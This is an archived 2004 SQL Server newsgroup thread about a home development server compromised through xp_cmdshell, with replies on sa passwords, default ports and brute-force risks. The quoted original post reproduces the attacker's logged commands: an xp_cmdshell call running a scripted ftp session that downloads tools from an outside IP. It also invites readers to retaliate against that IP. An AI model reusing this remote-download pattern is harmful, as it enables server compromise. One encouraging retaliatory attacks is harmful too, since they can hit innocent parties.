Re: hack using xp_cmdshell
From: Tibor Karaszi (tibor_please.no.email_karaszi_at_hotmail.nomail.com)
Date: 03/01/04
- Next message: Tibor Karaszi: "Re: Physical Structure of a COMPOSITE Index"
- Previous message: John: "re.How to shrink log file."
- In reply to: Andre: "Re: hack using xp_cmdshell"
- Messages sorted by: [ date ] [ thread ]
Date: Mon, 1 Mar 2004 11:39:16 +0100
> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password. :)
Good. :-) I didn't really imply that you were, I was just sharing my
experiences and speculated around things that could have caused this.
Possibly, they cracked your password and used xp_cmdshell to spread in the
machine. Or, possibly some other way, of course.
Assuming they used xp_cmdshell, consider the service account and what
permissions it has in the domain and on that machine.
> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
Yep. However, I don't know how difficult it would be to use some sort of
port scan to find the port number.
-- Tibor Karaszi, SQL Server MVP Archive at: http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver "Andre" <AndreGetsEnoughSPAM@nospam.com> wrote in message news:uhRbwi2$DHA.2432@TK2MSFTNGP11.phx.gbl... > Fortunately 14 years of SQL experience, and a little common sense, would > never allow me to run any box without a sa password. :) While I'm the > first to admit it's not "strong", I do have a password. > > It is a default instance, running on port 1433. So maybe in the future I > should run it on a different port and just have my developers connect to me > on that port eh? > > Andre > > > "Tibor Karaszi" <tibor_please.no.email_karaszi@hotmail.nomail.com> wrote in > message news:e$fb$91$DHA.1032@TK2MSFTNGP10.phx.gbl... > > Andre, > > > > I'm no security expert, so please forgive if I'm not using the right > > terminology etc. > > Could it be as simple as having no password for sa? This can happen is you > > install SQL Server in Windows Only mode and then Switch down to Mixed > mode, > > for instance. > > It happened to me on my home machine "this is no production server", but > of > > course the machine in itself got infected as well. I now always always > > always assign a strong password for sa (regardless security mode) and of > > course I'm using a firewall at home as well ;-). > > > > Is the SQL Server instance a default instance? If so, some viruses will > just > > aim for port 1433 and try sa without password. I can assume that some > > viruses can try brute force using other passwords as well, but logging > > failed logins would catch that. > > > > -- > > Tibor Karaszi, SQL Server MVP > > Archive at: > > > http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver > > > > > > "Andre" <AndreGetsEnoughSPAM@nospam.com> wrote in message > > news:eoosP61$DHA.1844@TK2MSFTNGP11.phx.gbl... > > > I have a dev box running at home. The box is configured with Win2k > > Advanced > > > Server, with sp4 and all security updates. It also is running SQL 2k > > > Enterprise Edition with sp3a. It sits behind a Linksys firewall that is > > > usually sealed tight. I typically only keep 2 ports open; 5900 for vnc > > and > > > 3389 for terminal server. > > > > > > Occasionally, other developers I work with need to get on the box, and > > I'll > > > open 1433, and very occasionally 21, for ftp. > > > > > > About a week ago I discovered my serv-u server had been hacked. There > was > > a > > > new domain running. I wasn't too concerned because it had been setup to > > use > > > port 65300, which has never been open on my firewall. I traded several > > > emails with rhinosoft and finally just deleted the domain and kept my > > > fingers crossed. > > > > > > Yesterday, I wanted to see if my developers were on my box so I ran > > sp_who2. > > > I saw a box that I didn't recognize, then freaked when I saw the > > > ProgramName - SQL Exec for NetHakcerIII. You can find a description of > > the > > > program here: http://www.timelink.cn/tianxing/netck.htm. > > > > > > Upon running dbcc inputbuffer, I discovered they were running the > > following: > > > xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt". > > > > > > Vga.txt contained the following: > > > open 205.146.38.34 1210 > > > user echo > > > tools > > > BINARY > > > mget *.* > > > quit > > > > > > First of all...if anyone out there reading this owns this IP...the FBI > > will > > > be knocking on your door soon. Secondly, if anyone out there reading > this > > > would like to have some fun with this punk - you have their IP - have > fun! > > > > > > What I'm most concerned about though is how someone could have > compromised > > > my system. And especially xp_cmdshell. I saved a lot of information > > about > > > this person, including an outlook profile that I believe belongs to > them, > > > but what I don't remember is the Login that this was running under. I > > > rebuilt my box last night, including deleting the partition. So what I > > > didn't save is gone. I've never granted exec on xp_cmdshell to any of > my > > > sql users, so this person had to be running it under the sa account. > How > > > were they able to compromise my system so easily? I've extremely > diligent > > > about apply security updates/service packs, and as I mentioned earlier, > > the > > > box is usually locked down behind a firewall. With all ports closed it > > runs > > > in stealth mode according to grc.com. > > > > > > Any info is appreciated. I can also provide additional details of the > > files > > > deposited on my box by this person too. > > > > > > Thanks, Andre > > > > > > > > > > > > > > >
- Next message: Tibor Karaszi: "Re: Physical Structure of a COMPOSITE Index"
- Previous message: John: "re.How to shrink log file."
- In reply to: Andre: "Re: hack using xp_cmdshell"
- Messages sorted by: [ date ] [ thread ]
Relevant Pages
|